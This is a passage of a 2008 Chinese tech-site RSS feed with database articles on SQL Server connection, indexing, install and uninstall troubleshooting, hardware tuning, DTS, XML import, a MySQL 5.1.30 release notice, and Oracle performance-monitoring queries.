<br/><br/>sqlserver服务器--&gt;开始菜单--&gt;SQLserver--&gt;服务器网络实用工具--&gt;启用 WinSock代理--&gt;代理地址：(sqlserver服务器IP)--&gt;代理端口--&gt;1433--&gt;OK了 <br/><br/>5、如果还不行： <br/><br/>sqlserver客户端--&gt;开始菜单--&gt;SQLserver--&gt;客户端网络实用工具--&gt;别名--&gt;添加--&gt;写入别名如&#34;大力&#34;--&gt;&#34;网络库&#34;选tcp/ip--&gt;服务器名称写入远程ip或实例名--&gt;OK了<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2541.htm</link>
			<title><![CDATA[教你一招：MS—SQL数据库索引的应用]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:09:13 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2541</guid>
		<description><![CDATA[一、索引的概念 <br/><br/>索引就是加快检索表中数据的方法。数据库的索引类似于书籍的索引。在书籍中，索引允许用户不必翻阅完整个书就能迅速地找到所需要的信息。在数据库中，索引也允许数据库程序迅速地找到表中的数据，而不必扫描整个数据库。 <br/><br/>二、索引的特点 <br/><br/>1.索引可以加快数据库的检索速度 <br/><br/>2.索引降低了数据库插入、修改、删除等维护任务的速度 <br/><br/>3.索引创建在表上，不能创建在视图上 <br/><br/>4.索引既可以直接创建，也可以间接创建 <br/><br/>5.可以在优化隐藏中，使用索引 <br/><br/>6.使用查询处理器执行SQL语句，在一个表上，一次只能使用一个索引 <br/><br/>7.其他 <br/><br/>三、索引的优点 <br/><br/>1.创建唯一性索引，保证数据库表中每一行数据的唯一性 <br/><br/>2.大大加快数据的检索速度，这也是创建索引的最主要的原因 <br/><br/>3.加速表和表之间的连接，特别是在实现数据的参考完整性方面特别有意义。 <br/><br/>4.在使用分组和排序子句进行数据检索时，同样可以显著减少查询中分组和排序的时间。 <br/><br/>5.通过使用索引，可以在查询的过程中使用优化隐藏器，提高系统的性能。 <br/><br/>四、索引的缺点 <br/><br/>1.创建索引和维护索引要耗费时间，这种时间随着数据量的增加而增加 <br/><br/>2.索引需要占物理空间，除了数据表占数据空间之外，每一个索引还要占一定的物理空间，如果要建立聚簇索引，那么需要的空间就会更大 <br/><br/>3.当对表中的数据进行增加、删除和修改的时候，索引也要动态的维护，降低了数据的维护速度 <br/><br/>五、索引分类 <br/><br/>1.直接创建索引和间接创建索引 <br/><br/>直接创建索引： Cr&#101;ate INDEX mycolumn_index ON mytable (myclumn) <br/><br/>间接创建索引：定义主键约束或者唯一性键约束，可以间接创建索引 <br/><br/>2.普通索引和唯一性索引 <br/><br/>普通索引： <br/><br/>Cr&#101;ate INDEX mycolumn_index ON mytable (myclumn) <br/><br/>唯一性索引：保证在索引列中的全部数据是唯一的，对聚簇索引和非聚簇索引都可以使用 <br/><br/> <br/><br/>Cr&#101;ate UNIQUE COUSTERED INDEX myclumn_cindex ON mytable(mycolumn) <br/><br/>3.单个索引和复合索引 <br/><br/>单个索引：即非复合索引 <br/><br/>复合索引：又叫组合索引，在索引建立语句中同时包含多个字段名，最多16个字段 <br/><br/> <br/><br/>Cr&#101;ate INDEX name_index ON username(firstname,lastname) <br/><br/>4.聚簇索引和非聚簇索引(聚集索引，群集索引) <br/><br/>聚簇索引：物理索引，与基表的物理顺序相同，数据值的顺序总是按照顺序排列 <br/><br/>Cr&#101;ate CLUSTERED INDEX mycolumn_cindex ON mytable(mycolumn) WITH <br/><br/>ALLOW_DUP_ROW(允许有重复记录的聚簇索引) <br/><br/>非聚簇索引： <br/><br/> <br/><br/>Cr&#101;ate UNCLUSTERED INDEX mycolumn_cindex ON mytable(mycolumn) <br/><br/>六、索引的使用 <br/><br/>1.当字段数据更新频率较低，查询使用频率较高并且存在大量重复值是建议使用聚簇索引 <br/><br/>2.经常同时存取多列，且每列都含有重复值可考虑建立组合索引 <br/><br/>3.复合索引的前导列一定好控制好，否则无法起到索引的效果。如果查询时前导列不在查询条件中则该复合索引不会被使用。前导列一定是使用最频繁的列 <br/><br/>4.多表操作在被实际执行前，查询优化器会根据连接条件，列出几组可能的连接方案并从中找出系统开销最小的最佳方案。连接条件要充份考虑带有索引的表、行数多的表；内外表的选择可由公式：外层表中的匹配行数*内层表中每一次查找的次数确定，乘积最小为最佳方案 <br/><br/>5.wh&#101;re子句中对列的任何操作结果都是在sql运行时逐列计算得到的，因此它不得不进行表搜索，而没有使用该列上面的索引；如果这些结果在查询编译时就能得到，那么就可以被sql优化器优化，使用索引，避免表搜索。 <br/><br/>例： <br/><br/> <br/><br/>sel&#101;ct * from record wh&#101;re substring(card_no,1,4)=’5378’<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;&amp; sel&#101;ct * from record wh&#101;re card_no like ’5378%’ <br/><br/>任何对列的操作都将导致表扫描，它包括数据库函数、计算表达式等等，查询时要尽可能将操作移至等号右边 <br/><br/>6.wh&#101;re条件中的’in’在逻辑上相当于’or’，所以语法分析器会将in (&#39;0&#39;,&#39;1&#39;)转化为column=&#39;0&#39; o&#114; column=&#39;1&#39;来执行。我们期望它会根据每个or子句分别查找，再将结果相加，这样可以利用column上的索引；但实际上它却采用了&#34;or策略&#34;，即先取出满足每个or子句的行，存入临时数据库的工作表中，再建立唯一索引以去掉重复行，最后从这个临时表中计算结果。因此，实际过程没有利用column上索引，并且完成时间还要受tempdb数据库性能的影响。in、or子句常会使用工作表，使索引失效；如果不产生大量重复值，可以考虑把子句拆开；拆开的子句中应该包含索引 <br/><br/>7.要善于使用存储过程，它使sql变得更加灵活和高效 <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2540.htm</link>
			<title><![CDATA[解决无法安装SQL Server 2000的问题 ]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:08:11 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2540</guid>
		<description><![CDATA[如果无法安装SQL Server 2000，那么请参考一下本文，或许能对你起着一定的启发。 <br/><br/> <br/><br/> <br/><br/>　　先把SQL Server卸载，再把安装时产生的“Microsoft SQL Server”文件夹删掉,在运行注册表,把HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server，和HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server全部删掉，(注意要把Microsoft SQL Server文件夹整个删掉)，然后重起。 再装就应该没有问题了！ <br/> <br/><br/> <br/><br/>　　Windows 2000 装不上 SQL Server 2000 问题很常见。常见为：<br/> <br/><br/> <br/><br/>　　(1)配置服务器时中断<br/> <br/><br/> <br/><br/>　　(2)注册ActiveX 时中断<br/> <br/><br/> <br/><br/>　　(3)显示到100%的时候中断<br/> <br/><br/> <br/><br/>　　当然重新安装 Windows 2000 完全可以安装 SQL Server 2000。为了安全起见，你先要：<br/> <br/><br/> <br/><br/>　　 1. 先备份您的注册表<br/> <br/><br/> <br/><br/>　　2. 备份您的数据[进不了SQL Server 2000，可以备份 Program Files\Microsoft SQL Server\MSSQL\Data 文件夹的文件<br/> <br/><br/> <br/><br/>　　您必须知道：Windows 2000 Server 可以安装SQL Server 2000的任何版本，Windows 2000 Professional 仅可以安装SQL Server 2000的个人版。<br/> <br/><br/> <br/><br/>　　有两种办法：<br/> <br/><br/> <br/><br/>　　1. 先卸载您的SQL Server 2000，必要的时候删除Program Files\Microsoft SQL Server 文件夹<br/> <br/><br/> <br/><br/>　　2. 放入 SQL Server 2000 光盘<br/> <br/><br/> <br/><br/>　　3. 在&#34;开始&#34;--&#34;运行&#34;键入 &#34;F:\x86\setup.exe k=dbg&#34; (F是光盘) (此命令的意思单步运行安装 SQL Server 2000)<br/> <br/><br/> <br/><br/>　　4. 98%安装不成功，没有任何的提示。可能是：<br/> <br/><br/> <br/><br/>　　(1)配置服务器时中断<br/> <br/><br/> <br/><br/>　　(2)注册 ActiveX 时中断<br/> <br/><br/> <br/><br/>　　(3)显示到100%的时候中断<br/> <br/><br/> <br/><br/>　　这样一来，您只能使用下面的办法了！否则，您只有FORMAT了！<br/> <br/><br/> <br/><br/>　　1. 打开注册表 在&#34;开始&#34;--&#34;运行&#34;键入 &#34;regedit&#34; <br/> <br/><br/> <br/><br/>　　2. 按下列顺序点击打开 + HKEY_LOCAL_MACHINE + SOFTWART + Microsoft + Windows + CurrentVersion + Setup + ExceptionComponents <br/> <br/><br/> <br/><br/>　　3. 将 ExceptionComponents 下面的文件夹全部删除! 如 {60BFF50D-FB2C-4498-A577-C9548C390BB9} {60BFF50D-FB2C-4498-A577-C9548C390BB9} {60BFF50D-FB2C-4498-A577-C9548C390BB9} {60BFF50D-FB2C-4498-A577-C9548C390BB9} ....... <br/> <br/><br/> <br/><br/>　　4. 重新启动<br/> <br/><br/> <br/><br/>　　5. 重新安装 SQL Server 2000 <br/> <br/><br/> <br/><br/>　　注册表中查找并删除所有的MS SQL Server选项；删除SQL安装生成的目录；将SQL安装文件复制到硬盘上，以保证所有的安装文件都能被正常读取(排除安装文件的问题) ，然后重新启动操作系统，再重新安装。如果问题依旧，试试先修复操作系统。命令提示符下执行：sfc /scannow， 然后按上面的方法重新安装一次。 如果还不行,放入win2000安装光盘，安装操作系统，安装的时候选择修复。完成后，再按第一楼的方法重试安装。 如果还是不行，重新安装操作系统。如果还是不行，检查硬件，特别检查磁盘分区有没有坏区。另外一个很另类的问题是，有个网友安装了N次不成功，换个电源就行了。<br/> <br/><br/> <br/><br/>　　如果每次都是安装到MDAC失败，那你就尝试先安装MDAC（Microsoft Data Access Components）。]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2539.htm</link>
			<title><![CDATA[如何卸载SQL Server 2005 ]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:07:14 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2539</guid>
		<description><![CDATA[卸载SQL Server 2005的方法之一，放在这儿只是为了记住： <br/><br/>1：把SQL Server2005的安装盘（安装文件）放入到光驱。 <br/><br/>2：打开如下路径：开始/运行，输入：cmd <br/><br/>3：输入下列命令： <br/><br/> <br/><br/>Start /wait \setup.exe /qb REMOVE=ALL INSTANCENAME=：管区盘符，例如：G：、H：等；：安装的SQLServer实例名称，默认值为：功能：卸载SQL Server 2005 部件。4：输入下列命令：Start /wait msiexec /qb /X \Setup\sqlncli.msi的解释如上。功能：卸载Microsoft SQL Native Client。5：输入下列命令：Start /wait \redist\2.0\dotnetfx.exe /q:a /c:&#34;install /qu&#34;如上。功能：卸载Microsoft .NET Framework。 <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2538.htm</link>
			<title><![CDATA[手工卸载SQL Server 2000数据库 ]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:06:34 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2538</guid>
		<description><![CDATA[在给各合作学校安装应用系统过程中，发现学校里的SQL SERVER 2000数据库损坏了重装后都发生了同样的问题，那就是安装SQL SERVER数据库不成功。原因：即使你通过控制面板里的“添加/删除程序” 正常的卸载SQL SERVER数据库，但是，SQL SERVER还是没有完全卸载干净，还需要手工进行一些操作。因此重新安装不成功，很多人只好重装系统解决。经过较长时间的摸索和实践总结，我找到了一点技巧方法，在这里与大家分享。 <br/><br/>操作步骤： <br/><br/> <br/><br/>在进行操作之前，建议备份好注册表以及重要的数据库文件。 <br/><br/> <br/><br/>首先，我们尝试用IsUninst.exe卸载程序来安全卸载Windows中的程序和与其相关的组件： <br/><br/> <br/><br/>（1）运行Regedit.exe,然后找到以下注册表项： <br/><br/> <br/><br/>HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\windows\CurrentVersion\Uninstall <br/><br/> <br/><br/>（2）Uninstall项下，找到要删除的Microsoft SQL Server2000 实例的产品代码。 <br/><br/> <br/><br/>（3）在任务栏上，单击【开始】按钮，然后单击【运行】按钮。在运行对话框中，复制并粘贴以下命令，例如： <br/><br/> <br/><br/>C:\WINNT\IsUninst.exe-f “C:\Program Files\Microsoft SQL Server\MSSQL＄Server1\Uninst.is” <br/><br/> <br/><br/>-c”C:\Program Files\Microsoft SQL Server\MSSQL＄Server1\sqlsun.dll”-Mssql.miff I=Il <br/><br/> <br/><br/>其中：MSSQL Serverl表示安装的实例名为Serverl。 <br/><br/> <br/><br/>如果以上方法不奏效，则我们必须手工来进行删除操作。 <br/><br/> <br/><br/>（1） 删除以下注册表子项： <br/><br/> <br/><br/>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer <br/><br/> <br/><br/>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Microsoft SQL Server <br/><br/> <br/><br/>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSQLServer <br/><br/> <br/><br/>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLSERVER AGENT <br/><br/> <br/><br/>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services \MSSQLServerADHelper <br/><br/> <br/><br/>（2） 手工删除安装目录，默认情况下位于： <br/><br/> <br/><br/>C:\Program Files\Microsoft SQL Server <br/><br/> <br/><br/>（3） 卸载Microsoft Search 服务，还需要删除： <br/><br/> <br/><br/>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search <br/><br/> <br/><br/>（4） 卸载Microsoft 全文查询，还需要删除： <br/><br/> <br/><br/>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSFTPSVC <br/><br/> <br/><br/>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSCNTRS <br/><br/> <br/><br/>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSEARCH <br/><br/> <br/><br/>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSGATHERVER <br/><br/> <br/><br/>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSGTHRSVC <br/><br/> <br/><br/>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSSINDEX <br/><br/> <br/><br/>（5） 如果要卸载的是命名实例，则在相应的注册表键的MSSQLServer,SQLSERVERAGENT和MSSQLServerADHelper后加上“/”和相应的实例名。 <br/><br/> <br/><br/>到此我们就成功的完全卸载了SQL SERVER数据库。 <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2537.htm</link>
			<title><![CDATA[专家教你优化你的SQL Server硬件性能]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:05:51 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2537</guid>
		<description><![CDATA[优化SQL Server硬件性能 <br/><br/>　　对SQL Server的性能调整有很多种方式，就像建造一所房子。你必须找到一个合适的地点，拥有肥沃的土壤、构建一个结实的地基，支持2到3层的小楼，安装电气和插座，对墙壁刷油漆并进行装饰，最后进行不断的维护。<br/><br/>　　调整SQL Server的性能也具有类似的项目，其中包括:<br/><br/>　　硬件<br/><br/>　　Windows服务器<br/><br/>　　SQL Server<br/><br/>　　数据库设计<br/><br/>　　索引设计<br/><br/>　　T-SQL 开发<br/><br/>　　网络基础设施<br/><br/>　　前端代码<br/><br/>　　平台维护<br/><br/>　　虽然在获得高性能方面，没有哪个单个的组件比其他的具有更大的重要性，但是要争取的开始是必要的。如果你没有建造一个坚固的地基，那么应用程序的其他部分也会被较早的组件中的不足所困扰。更进一步的说，虽然也有可能在部署之后重新构建硬件，或者只是简单地移植到其他的硬件平台上，但是对整体平台的合适的计划，将会支持应用程序在很长的一段时间之内都避免极其消耗时间的升级。<br/><br/>　　硬件计划<br/><br/>　　合适的硬件计划是获得高性能的第一步。要根据需求来判断使用什么硬件是非常重要的，这些需求可以通过CPU、内存、驱动器、网络接口卡(NIC)等的容量计算得出。有时候，这些决策非常简单;你可以使用共同的标准来简化硬件的支持。如果标准不存在，那么抓住机遇并开始构建能够简化整体管理的标准。<br/><br/>　　由于标准化对于支持大量的服务器非常关键，因此它应该可以被后来的技术所兼容，所以你可以继续以较低的成本获得较高的性能。当前两种需要短期和长期考虑的硬件技术就是64位技术和数据库加速器。<br/><br/>　　64位体系结构<br/><br/>　　由于硬件提供商发布了64位的成本合理的服务器，Windows Server 2003 和 SQL Server 2000就可以用来平衡额外的资源来从扩大规模的角度改善整体的性能。在64位的世界里，64个CPU和 1TB的内存都可以直接定位，远远超过32位的世界中通常的4个CPU和3GB的内存——比两倍的资源还要多。<br/><br/>　　当前，64位的平台在工具和所有应用程序支持方面还有一些限制，但是这些情况都会随着时间而改变。现在要时刻关注64位的体系结构是至关重要的，因为他们成熟完善并且获得软件供应商更大的支持，这一点通过在一些已经相当大的服务器上提高规模选项来支持。<br/><br/>基于硬件的加速器<br/><br/>　　由于SQL Server，数据库加速器近来获得相当大的关注。在概念层上，数据库加速器是拥有CPU和内存的硬件设备。他们存储整个数据库，或者内存中的一部分表，用以处理需要回写到SQL Server的用户事务，这些事务最终需要存储数据。好处就是这些设备有时候可以支持整个数据库或者专用内存中的核心表，这样比访问磁盘上的数据要好。这种方式可以分别支持规模扩大和规模缩小，因为单个的数据库加速器可以减少硬件瓶颈，而不会对现有的SQL Server带来改变。<br/><br/>　　有一家提供这种类型解决方案的公司，名为XPrime。如果在升级可以被测试和完成之前，没有进一步的软件优化可以决定，并且正常运行时间不能受到危害，那么考虑一下这个选择。<br/><br/>　　理想的硬驱动层<br/><br/>　　针对SQL Server的数据库加速器最近获得了极大的关注。从概念的层次上说，数据库加速器就是一个带有CPU和内存的硬件设备。他们存储整个数据库或者是内存中的一部分表来处理那些需要回写到SQL Server的用户事务，这些事务最终将会存储数据。优点就是这些设备有时候可以支持整个数据库或者专用内存中的核心表，这比从磁盘中访问数据要优越得多。因为单个的数据库加速器可以减少硬件瓶颈，并且不需要给现有的SQL Server带来改变，从规模扩大或者缩小的角度具有优势。<br/><br/>　　有一家提供这种类型解决方案的公司，名为XPrime。如果在升级可以被测试和完成之前，没有进一步的软件优化可以决定，并且正常运行时间不能受到危害，那么考虑一下这个选择。<br/><br/>磁盘 磁盘组 驱动大小 控制器 RAID 尺寸 盘符 目的 <br/>0 2 72 GB 1 - 1 1 72 C:\ Windows, SQL Server 程序组和系统数据库 (Master, Model, MSDB) (随机) <br/>1 2 72 GB 1 - 1 1 72 D:\ Tempdb (随机) <br/>2 2 72 GB 1 - 2 1 72 E:\ 数据库事务日志 (串行) <br/>3 5 72 GB 2 - 1 5 288 F:\ 数据库 (随机) <br/>4 3 72 GB 2 - 2 5 144 G:\ 备份和批处理 (串行) <br/>- 14 - - - 648 - - <br/><br/><br/>　　本地存储或者存储区域网络(SAN)<br/><br/>　　对许多企业来说，如何在一个服务器上支持非常高数量的驱动器，是一个大问题。首先，他们必须考虑如何管理超过设计存储容量的数据库，或者是不得不将某些特殊的数据库放在不同的服务器上。<br/><br/>　　这里有三个基本选项:第一个就是用很多个内部磁盘来支持存储，以此来平衡服务器。第二个就是服务器内部只有几个磁盘，然后补充本地附加的磁盘阵列。第三个就是一个服务器具有很少几个内部磁盘，然后连接到存储区域网络(SAN)。<br/><br/>　　对于本地附加存储的管理要复杂得多，因为它是分布的，与SAN不同的是，SAN是一个集中式的存储，添加新的存储到服务器上是一个简单的图形化的点击式的过程。然而，本地存储的性能会好一点，因为只有一个服务器来平衡这些磁盘驱动，而SAN有5到10个服务器来访问同一个驱动器，可能会引起冲突。SAN针对这个性能问题的答案是用大量的缓存，而不是从磁盘访问数据。<br/><br/>　　然后，这里就是一个鸡蛋和篮子的比喻:一个服务器，具有专用的存储，一个I/O问题只会影响到一个服务器，但是在SAN上同样的一个问题就会潜在地影响许多个服务器。当SAN需要升级的时候，这也是向前的一步;所有用来平衡SAN的存储的服务器都需要被关闭。当升级单个的本地存储的服务器的时候，暂停服务时间只会影响到那些需要升级的服务器，而不是所有的服务器。管理和性能之间需要有个平衡点。<br/><br/>　　结论<br/><br/>　　硬件是SQL Server获得高性能的基础，这不是一个秘密，但是平台仍然需要进行正确的后续设计和开发，来获得很长一端时间所需要的性能。虽然很多硬件革新唾手可得，但是时刻记住在开发阶段的松懈不是其中的一个选择。你必须安装正确的SQL Server硬件，并且在应用程序的生命周期中随手保持优化到最佳的实践方案以获得高性能。祝你好运!<br/><br/>　　作者简介:Jeremy Kadlec 是Edgewood Solutions公司的首席数据库工程师。Edgewood Solutions是一家提供针对微软的SQL Server的专业服务和产品解决方案的技术服务公司。Jeremy撰写了大量的文章，并且在最初的SQL Server用户群和本地的SQL PASS上频繁发表文章。Jeremy还是SearchSQLServer.com的性能调整专家。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2536.htm</link>
			<title><![CDATA[SQL Server中如何用通配符搜索TEXT栏 ]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:03:18 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2536</guid>
		<description><![CDATA[<p style="text-indent: 2em">一个应用Informix数据库的同事需要用通配符搜索TEXT栏。虽然Informix在LIKE与MATCH声明中支持通配符，这一支持并不包括TEXT栏。将数据输出给SQL Server的解决方案明显支持这种搜索。</p>
<p style="text-indent: 2em">&nbsp;</p>
<p style="text-indent: 2em">要完成搜索，我的同事必须让Informix将有用数据输出到一个文本文件中。然后，一个SQL Server DTS包将文本文件输入到SQL Server的一个当地实例中，然后在其中用通配符对TEXT栏进行处理。</p>
<p style="text-indent: 2em">&nbsp;</p>
<p style="text-indent: 2em">不幸地是，还存在两个问题：1）连接缓慢且在输入完成前经常中断连接。2）如果决定中途取消操作，SQL Server放弃这时已经处理的所有行。他必须想出办法，每n个记录提交一次，然后再继续操作。</p>
<p style="text-indent: 2em">&nbsp;</p>
<p style="text-indent: 2em">为了给他找到解决办法，我在DTS向导中转悠。发现解决方案已内置在DTS中。</p>
<p style="text-indent: 2em">&nbsp;</p>
<p style="text-indent: 2em">为说明如何操作，我建立一个DTS包，将Northwind Customers数据库输出到一个文本文件中。然后，我建立一个新包把这个文本文件输入到一个称作Northwind_New的Northwind拷贝中。在DTS向导中，其结果如图A所示。</p>
<p style="text-indent: 2em">&nbsp;</p>
<p style="text-indent: 2em">&nbsp;</p>
<center><img alt="" twffan="done" src="http://www.dedecms.com/upimg/070118/11E100L5U0150D.jpg" /></center>
<p style="text-indent: 2em">&nbsp;</p>
<center>图A</center>
<p style="text-indent: 2em">现在，我将鼠标放在管道上，右击然后选择属性，出现名为&ldquo;转换数据任务属性&rdquo;的对话框。这时要用到的标签为选项（Options），如图B所示。</p>
<p style="text-indent: 2em">&nbsp;</p>
<center><img alt="" twffan="done" src="http://www.dedecms.com/upimg/070118/11E100LI102NU.jpg" /></center>
<p style="text-indent: 2em">&nbsp;</p>
<p style="text-indent: 2em">&nbsp;</p>
<center>图B</center>
<p style="text-indent: 2em">要用的选项为&ldquo;总是提交最后批&rdquo;与&ldquo;插入批大小&rdquo;。第一个选项不需加以说明；后一个选项对插入到批中的行数进行控制。你可以对它进行调整以满足你的要求与应用情形。默认设置为0，也就是我的同事经历的情形，如果出现故障，整个批全部丢失。设置1迫使每次插入后进行提交。设置100或1000则每100或1000行提交一次。</p>
<p style="text-indent: 2em">&nbsp;</p>
<p style="text-indent: 2em">现在我的同事的问题解决了，他正高兴地用通配符搜索TEXT栏。</p>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2535.htm</link>
			<title><![CDATA[怎样将XML文件导入数据库 ]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 10:59:44 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2535</guid>
		<description><![CDATA[问：怎样才能将XML文件导入SQL Server 2000？<br/><br/>　　答：将XML文件导入SQL Server有若干种方法，这里提供其中的3种：<br/><br/> <br/><br/> <br/><br/>　　大容量装载COM接口。如果需要将文档的实体和属性析取到关系表中，最快的方法就是使用SQL Server 2000 Extensible Markup Language 3.0 Service Pack 1（SQLXML 3.0 SP1）提供的大容量装载COM接口。大容量状态COM接口包含在SQLXML 3.0 SP1的免费下载中。<br/> <br/><br/> <br/><br/>　　textcopy.exe命令行实用工具。如果不希望将文档的实体和属性析取到关系表中，您可以使用textcopy.exe命令行实用工具。Textcopy.exe是将文本和image数据类型从单一服务器行或列移入或移出的优秀工具。<br/> <br/><br/> <br/><br/>　　数据转换服务(DTS)。如果XML文档很简单，您可以使用DTS将信息逐行析取到表中。这一方法要求您将XML文件定义为输入数据源，将数据库表定义为输出数据源，并编写ActiveX脚本剖析&#34;&lt;&#34;和&#34;&gt;&#34;方式的字符输入，以析取实体、属性及其值。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2534.htm</link>
			<title><![CDATA[MySQL 5.1.30提前发布 三年开发告一段落]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 10:57:58 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2534</guid>
		<description><![CDATA[原定于2008年12月7日发布的 MySQL 5.1.30 今天已经正式发布。这意味着经过三年的开发(从2005年11月的5.1.3 alpha开始,到今天的5.1.30. )MySQL 5.1GA正式成为下一个产品级系列。<br/><br/>MySQL 5.1支持的新特性有：<br/>◆表和索引的分区<br/>◆行级复制<br/>◆MYSQL基群基于磁盘的数据支持<br/>◆MYSQL集群复制<br/>◆增强的全文本搜索函数<br/>◆增强的信息模式(数据字典)<br/>◆可插入的API<br/>◆服务器日志表<br/>◆XML/XPath支持<br/>◆实例管理器<br/>◆表空间备份<br/>◆mysql_upgrade升级程序 <br/>◆内部任务/事件调度器<br/>◆新的性能工具和选项如mysqlslap。<br/><br/>下载地址：<a target="_blank" href="ftp://mirror2.dataphone.se/pub/mysql/Downloads/MySQL-5.1/mysql-5.1.30.tar.gz" rel="external">MySQL 5.1.30</a>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2533.htm</link>
			<title><![CDATA[监控数据库性能的SQL]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 10:54:46 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2533</guid>
		<description><![CDATA[1. 监控事例的等待<br/><br/>sel&#101;ct event,sum(decode(wait_Time,0,0,1)) &#34;Prev&#34;, <br/>sum(decode(wait_Time,0,1,0)) &#34;Curr&#34;,count(*) &#34;Tot&#34; <br/>from v$session_Wait <br/>group by event o&#114;der by 4;<br/><br/>2. 回滚段的争用情况<br/><br/>sel&#101;ct name, waits, gets, waits/gets &#34;Ratio&#34; <br/>from v$rollstat a, v$rollname b <br/>wh&#101;re a.usn = b.usn; <br/><br/>3. 监控表空间的 I/O 比例<br/><br/>sel&#101;ct df.tablespace_name name,df.file_name &#34;file&#34;,f.phyrds pyr,<br/>f.phyblkrd pbr,f.phywrts pyw, f.phyblkwrt pbw<br/>from v$filestat f, dba_data_files df<br/>wh&#101;re f.file# = df.file_id<br/>o&#114;der by df.tablespace_name;<br/><br/>4. 监控文件系统的 I/O 比例<br/><br/>sel&#101;ct substr(a.file#,1,2) &#34;#&#34;, substr(a.name,1,30) &#34;Name&#34;, <br/>a.status, a.bytes, b.phyrds, b.phywrts <br/>from v$datafile a, v$filestat b <br/>wh&#101;re a.file# = b.file#; <br/><br/>5.在某个用户下找所有的索引<br/><br/>sel&#101;ct user_indexes.table_name, user_indexes.index_name,uniqueness, column_name<br/>from user_ind_columns, user_indexes<br/>wh&#101;re user_ind_columns.index_name = user_indexes.index_name<br/>and user_ind_columns.table_name = user_indexes.table_name <br/>o&#114;der by user_indexes.table_type, user_indexes.table_name,<br/>user_indexes.index_name, column_position;<br/><br/>6. 监控 SGA 的命中率<br/><br/>sel&#101;ct a.value + b.value &#34;logical_reads&#34;, c.value &#34;phys_reads&#34;,<br/>round(100 * ((a.value+b.value)-c.value) / (a.value+b.value)) &#34;BUFFER HIT RATIO&#34; <br/>from v$sysstat a, v$sysstat b, v$sysstat c<br/>wh&#101;re a.statistic# = 38 and b.statistic# = 39 <br/>and c.statistic# = 40; <br/><br/>7. 监控 SGA 中字典缓冲区的命中率<br/><br/>sel&#101;ct parameter, gets,Getmisses , getmisses/(gets+getmisses)*100 &#34;miss ratio&#34;,<br/>(1-(sum(getmisses)/ (sum(gets)+sum(getmisses))))*100 &#34;Hit ratio&#34;<br/>from v$rowcache <br/>wh&#101;re gets+getmisses &lt;&gt;0<br/>group by parameter, gets, getmisses; <br/><br/>8. 监控 SGA 中共享缓存区的命中率，应该小于1%<br/><br/>sel&#101;ct sum(pins) &#34;Total Pins&#34;, sum(reloads) &#34;Total Reloads&#34;,<br/>sum(reloads)/sum(pins) *100 libcache<br/>from v$librarycache;<br/><br/>sel&#101;ct sum(pinhits-reloads)/sum(pins) &#34;hit radio&#34;,sum(reloads)/sum(pins) &#34;reload percent&#34; <br/>from v$librarycache;<br/><br/>9. 显示所有数据库对象的类别和大小<br/><br/>sel&#101;ct count(name) num_instances ,type ,sum(source_size) source_size ,<br/>sum(parsed_size) parsed_size ,sum(code_size) code_size ,sum(error_size) error_size,<br/>sum(source_size) +sum(parsed_size) +sum(code_size) +sum(error_size) size_required <br/>from dba_object_size <br/>group by type o&#114;der by 2;<br/><br/>10. 监控 SGA 